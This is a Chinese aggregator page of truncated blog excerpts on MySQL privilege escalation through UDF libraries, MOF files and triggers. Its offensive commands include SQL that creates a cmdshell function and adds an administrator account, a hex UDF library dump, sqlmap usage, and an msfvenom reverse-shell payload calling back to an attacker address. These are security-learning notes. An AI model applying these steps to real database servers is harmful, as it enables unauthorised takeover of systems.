mysql udf提权】的更多相关文章

根据前天对大牛们的资料学习,进行一次mysql udf提权测试. 测试环境: 受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128 攻击者系统:centos7.7,安装mysq client 5.7,IP:192.168.226.129 攻击者连接至mysql后,使用SQL语句检查相关的路径及权限 show variables like "%plugin%"; show variables like "%secur…
测试UDF提权,时候遇到问题,创建函数shell提示存在 当执行操作的时候又提示,shell函数不存在. FUNCTION mysql.shell does not exist 如果在测试环境下,一般这种情况下是需要mysql重启.…
0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口.用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样. 0x02 windows下udf提权的条件 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/ 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\wi…
目录 UDF UDF提权步骤 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等. 那么,我们该如何使用UDF呢? 假设我的UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下.在 udf.dll 文件中,我定义了名为 sys_eval 的mysql函数,该函数可以执行系统任意命令.…
连接远程数据库 查看插件库路径 show variables like '%plugin%'; 写入udf库到插件目录: 32位: select unhex('7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C001900010000000500000000000000000000000000000000…
介绍: 执行shellcode – sys_bineval sqmapl自带udf.dll中存在函数’sys_bineval,执行shellcode – sys_bineval 利用: MSF生成shellcode: msfvenom -p windows/meterpreter/reverse_http EXITFUNC=thread LPORT=8080 LHOST=172.16.229.139 -a x86 -e x86/alpha_mixed -f raw BufferRegister=…
参考文章:https://blog.csdn.net/q1352483315/article/details/98483668…
声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错了就是错了. 说明: 错误点:SYSTEM执行的是MYSQL-CLI客户端自己所在机器的命令,也就是你使用mysql命令行方式连接到对端后,使用SYSTEM执行的还是自己所在机器的指令.比如你system whoami,你会发现是你自己的主机账户名.所以无法用在渗透过程的当中,特此声明. 一.MyS…
[视频]K8飞刀  mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m…
由于udf提权是需要构造UDF函数文件的,涉及到了写文件.所以本次实验已经将mysql的配置做了改动:–secure-file-priv=''. 剧情须知: secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出. secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行. secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出. 解决方法: 找到'my.cnf'或…
什么是udf提权? MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf. 它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了! 当我们拿到webshell后,由于中间件,例如,apache使用了较低的权限,可能仅仅是个网络服务的权限,然后我们就需要进行提权,而有时候目标机器补丁较全,各种系统提权姿势都失效的情况下,可以将目光转义到数据库服务上,在Win…
一.适用条件 1.目标系统是Windows(Win2000,XP,Win2003): 2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语). 3.有mysql账号密码 二.导出udf MYSQL 5.1以下版本导出路径: C:\Winnt\udf.dll    2000C:\Windows\udf.dll 2003(有的系统\被转义,需要改为C:\Windows\\udf.dll) 导出DLL文件,导出时请勿必注意…
0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道udf是什么. 环境: 本机os: win10 靶机os: win7 php: 5.4.45 mysql: 5.5 0x01-udf是什么? udf = 'user defined function',即'用户自定义函数'.是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如a…
0x00前言: udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限 0x01什么是udf: udf(Userdefined function)是用户自定义函数 在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数 udf就是为了让我们开发者能够自己写方便自己函数,它有3种返回值,这三种分别是STRING,INTEGER,REAL STRING 字符型 INTEGER 整型 REAL 实数型 定义格式 #创建自定义函…
SQLMAP UDF提权      1.连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\ 2.利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:sqlmap.py -d mysql…
昨天进行测试一个网站,进行udf提权时候,没办法导出.dll, 起初以为是这个马的问题,后来用专用马,一样不行,但是有报错了,有上网找了半天,终于被我找到了. Mysql数据库从文件导入或导出到文件,提示: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement. 因为一些版本的mysql对通过文件导入导出作了限制,默认不允许, 查看配置,执行mysql命…
利用MySQL提权原理: 1.具有mysql的root权限,且mysql以system权限运行. 2.具有执行sql语句的权限,webshell或者外连皆可 UDF提权 UDF(user defined function 用户自定义函数)提权,要求有写权限(secure_file_priv要么为空,要么设置路径),单引号未被过滤 原理: UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数.(其中包括了执行系统命令的函数)要想利用udf,必须上传udf.dll作为udf的执行库. my…
目录: 1. 寻找IP 2.dirb目录爆破 2.PHPMailer漏洞反弹得到shell 3.python版本的exp修改 4.查看wordpress的wp-config.php配置文件得到数据库账号和密码 5.使用LinEnum.sh对linux进行信息收集 6.mysqlUDF提权,kali对EXP的编译 7.给程序chmod u+s 增加suid权限,可以以root来运行 8.利用带有suid标志的find命令进行命令执行拿到root权限 0x01 寻找IP 安装好了我们的靶机,当然我们…
一.获取Mysql登录账号和密码 1.数据库提权需要知道数据库的账号密码.以及它的配置文件,一般配置文件都在网站的根目录下,这些配置文件命名有鲜明的特征,如:conn.config.data.sql.common.inc等等 以上这些文件都有包含连接数据库的信息,包括连接账号,密码,数据库名等等, 2.如果在这些文件里找不到需要连接数据库的信息,可以到数据库的安装目录下找,默认目录为:C:\phpStudy2016\MySQL\data\mysql,在此目录下找到user.myd文件,里面记录了…
0x00 介绍 本篇我们来讲无webshell时利用udf进行提权 0x01 前提 1. 必须是root权限(主要是得创建和抛弃自定义函数) 2. secure_file_priv=(未写路径) 3. 将udf.dll文件上传到MySQL的plugin目录下(这里以MySQL>=5.1为例) 0x02 提权中用到的查询语句 1 SELECT version(); #查询数据库版本 2 3 SELECT @@basedir; #查询MySQL的安装目录 4 5 SELECT user(); #查询…
00x1 首先判断mysql版本, mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/ mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\ 一般Lib.Plugin文件夹需要手工建立(可用流模式突破进而创建文件夹) 可能会用到的命令: select @@datadir 路径 select @@version 版本 使用NTFS ADS流创建lib.plugin文件夹: 某些情况下,我们会遇到Can't open sha…
cve-2012-5613  是一个通过FILE权限写Trigger的TRG存储文件(即伪造Trigger),由root触发而导致权限提升的漏洞.不知道为什么这个漏洞一直没修,可能mysql认为这是一个特性吧. 准备 测试环境: Server version: 5.5.48-log Source distribution 在test数据库中创建一个触发器: create table foo (a INT, b INT, ts TIMESTAMP); create table bar (a INT…
//觉得很典型的案例,就转载过来了.很多时候phpmyadmin都需要路劲才能写shell.否则拿到了myadmin也是无奈. 查看mysql版本 select version(); 版本是5.1 大家都知道mysql udf提权  5.0以下的要导出到c:\windows\或者c:\windows\system32目录下 而5.1必须要导出到mysql安装目录下的lib\plugin目录下  我们怎么知道Mysql安装目录呢? 执行 select @@basedir: 得出mysql安装路径C…
MOF提权 MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof) 叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡 MOF提权原理 MOF文件既然每五秒就会执行,而且是系统权限,我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次我们上传的MOF.MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权. 利用条件 Windows<=2…
最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了.关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们. 一.利用mof提权 前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下: Wi…
mysql提权语句归纳如下: 一 UDF提权 这类提权方法我想大家已经知道了,我大致写一下,具体语句如下: create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user 123!@#abcABC /add’); select cmdshell(’net localgroup administrators iis_user /add’); select cmdshell(’re…
一,利用MOF提权 Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件: 方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件. 方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法. 方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件. Microsoft 建议您到存储库编译 MOF 文件使用前两种方法.也就是运行 Mofc…
一般是root权限,知道mysql root权限,root账号密码 启动项提权:原理:利用高权限的root写入一个vbs脚本到启动项,再通过一些方法如ddos,社工管理员之类的方法来让服务器重启,运行脚本,达到提取目的1.查看我们进入数据库中有些什么数据表mysql>show tables;默认的情况下,test中没有任何表的存在.以下为关键的部分2.在TEST数据库下创建一个新的表:mysql>create table a (cmd text);好了,我们创建了一个新的表,表名为a,表中只存…
1.MOF提权 简单的说mof就是系统内部的一个程序,每隔一定时间系统就会以root权限去执行,我们将其替换然后执行我们的而已攻击代码.此举称之为mof提权. 以下便是脚本: #pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"…
一.利用mof提权 前段时间Kingcope大牛发布了mysql远程提权0day,剑心牛对MOF利用进行了分析,如下: Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件: 方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件. 方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法. 方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MO…